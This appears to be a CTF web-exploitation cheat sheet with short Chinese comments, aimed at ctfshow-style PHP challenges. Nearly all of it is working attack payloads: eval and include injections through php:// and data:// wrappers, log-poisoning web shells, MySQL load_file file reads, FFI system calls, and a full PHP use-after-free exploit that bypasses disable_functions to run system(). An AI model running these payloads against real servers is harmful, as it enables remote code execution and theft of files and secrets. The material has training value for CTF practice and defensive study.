CTF-WEB

// 在可以远程 eval，但是过滤分号和小括号也就是不能嵌套的情况下可以使用

c=include$_GET[url]?>&&url=php://filter/convert.base64-encode/resource=flag.php

c=include$_GET[url]?>&&url=php://filter/convert.base64-encode/resource=flag.php

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

// 执行后查看源代码

// 执行后查看网页源代码

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

data://text/plain,<?php system("cat fla?.php")?>

highlight_file(next(array_reverse(scandir(current(localeconv())))));

c=function ctfshow($cmd) { global $abc, $helper, $backtrace;

class Vuln {

    public $a;

    public function __destruct() { 

        global $backtrace; 

        unset($this->a);

        $backtrace = (new Exception)->getTrace();

        if(!isset($backtrace[1]['args'])) {

            $backtrace = debug_backtrace();

        }

    }

}

class Helper {

    public $a, $b, $c, $d;

}

function str2ptr(&$str, $p = 0, $s = 8) {

    $address = 0;

    for($j = $s-1; $j >= 0; $j--) {

        $address <<= 8;

        $address |= ord($str[$p+$j]);

    }

    return $address;

}

function ptr2str($ptr, $m = 8) {

    $out = "";

    for ($i=0; $i < $m; $i++) {

        $out .= sprintf("%c",($ptr & 0xff));

        $ptr >>= 8;

    }

    return $out;

}

function write(&$str, $p, $v, $n = 8) {

    $i = 0;

    for($i = 0; $i < $n; $i++) {

        $str[$p + $i] = sprintf("%c",($v & 0xff));

        $v >>= 8;

    }

}

function leak($addr, $p = 0, $s = 8) {

    global $abc, $helper;

    write($abc, 0x68, $addr + $p - 0x10);

    $leak = strlen($helper->a);

    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

    return $leak;

}

function parse_elf($base) {

    $e_type = leak($base, 0x10, 2);

    $e_phoff = leak($base, 0x20);

    $e_phentsize = leak($base, 0x36, 2);

    $e_phnum = leak($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {

        $header = $base + $e_phoff + $i * $e_phentsize;

        $p_type  = leak($header, 0, 4);

        $p_flags = leak($header, 4, 4);

        $p_vaddr = leak($header, 0x10);

        $p_memsz = leak($header, 0x28);

        if($p_type == 1 && $p_flags == 6) { 

            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

            $data_size = $p_memsz;

        } else if($p_type == 1 && $p_flags == 5) { 

            $text_size = $p_memsz;

        }

    }

    if(!$data_addr || !$text_size || !$data_size)

        return false;

    return [$data_addr, $text_size, $data_size];

}

function get_basic_funcs($base, $elf) {

    list($data_addr, $text_size, $data_size) = $elf;

    for($i = 0; $i < $data_size / 8; $i++) {

        $leak = leak($data_addr, $i * 8);

        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {

            $deref = leak($leak);

            if($deref != 0x746e6174736e6f63)

                continue;

        } else continue;

        $leak = leak($data_addr, ($i + 4) * 8);

        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {

            $deref = leak($leak);

            if($deref != 0x786568326e6962)

                continue;

        } else continue;

        return $data_addr + $i * 8;

    }

}

function get_binary_base($binary_leak) {

    $base = 0;

    $start = $binary_leak & 0xfffffffffffff000;

    for($i = 0; $i < 0x1000; $i++) {

        $addr = $start - 0x1000 * $i;

        $leak = leak($addr, 0, 7);

        if($leak == 0x10102464c457f) {

            return $addr;

        }

    }

}

function get_system($basic_funcs) {

    $addr = $basic_funcs;

    do {

        $f_entry = leak($addr);

        $f_name = leak($f_entry, 0, 6);

        if($f_name == 0x6d6574737973) {

            return leak($addr + 8);

        }

        $addr += 0x20;

    } while($f_entry != 0);

    return false;

}

function trigger_uaf($arg) {

    $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    $vuln = new Vuln();

    $vuln->a = $arg;

}

if(stristr(PHP_OS, 'WIN')) {

    die('This PoC is for *nix systems only.');

}

$n_alloc = 10; 

$contiguous = [];

for($i = 0; $i < $n_alloc; $i++)

    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');

$abc = $backtrace[1]['args'][0];

$helper = new Helper;

$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {

    die("UAF failed");

}

$closure_handlers = str2ptr($abc, 0);

$php_heap = str2ptr($abc, 0x58);

$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);

write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);

write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);

if(!($base = get_binary_base($binary_leak))) {

    die("Couldn't determine binary base address");

}

if(!($elf = parse_elf($base))) {

    die("Couldn't parse ELF header");

}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {

    die("Couldn't get basic_functions address");

}

if(!($zif_system = get_system($basic_funcs))) {

    die("Couldn't get zif_system address");

}

$fake_obj_offset = 0xd0;

for($i = 0; $i < 0x110; $i += 8) {

    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

}

write($abc, 0x20, $abc_addr + $fake_obj_offset);

write($abc, 0xd0 + 0x38, 1, 4); 

write($abc, 0xd0 + 0x68, $zif_system); 

($helper->b)($cmd);

exit();

}

ctfshow("cat /flag0.txt");ob_end_flush(); ?>

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f)

{echo($f->__toString().' ');

}phpinfo();exit();?>

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',

'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)

{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-

>getMessage();exit(0);}exit(0);

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f)

{echo($f->__toString().' ');

}phpinfo();exit();?>

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',

'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)

{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-

>getMessage();exit(0);}exit(0);

c=$ffi = FFI::cdef("int system(const char *command);");

$a='/readflag > 1.txt';

$ffi->system($a);exit(0);

?file=php://filter/convert.base64-encode/resource=flag.php

?file=/var/log/nginx/access.log&1=system('tac flag.php');

<?php eval($_GET[1]);?>

  或者

  data://text/plain,<?php system('id') ?>

# 进行两次 url 编码

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30&1=system('ls /');

post:

# ab 是我们添加的进行 base64-decode 的字符和题目中的 phpdie 相互对应

content=abPD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg==

1.php?1=system('ls');

?1=system('tac fl0g.php');

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

?num=4476%24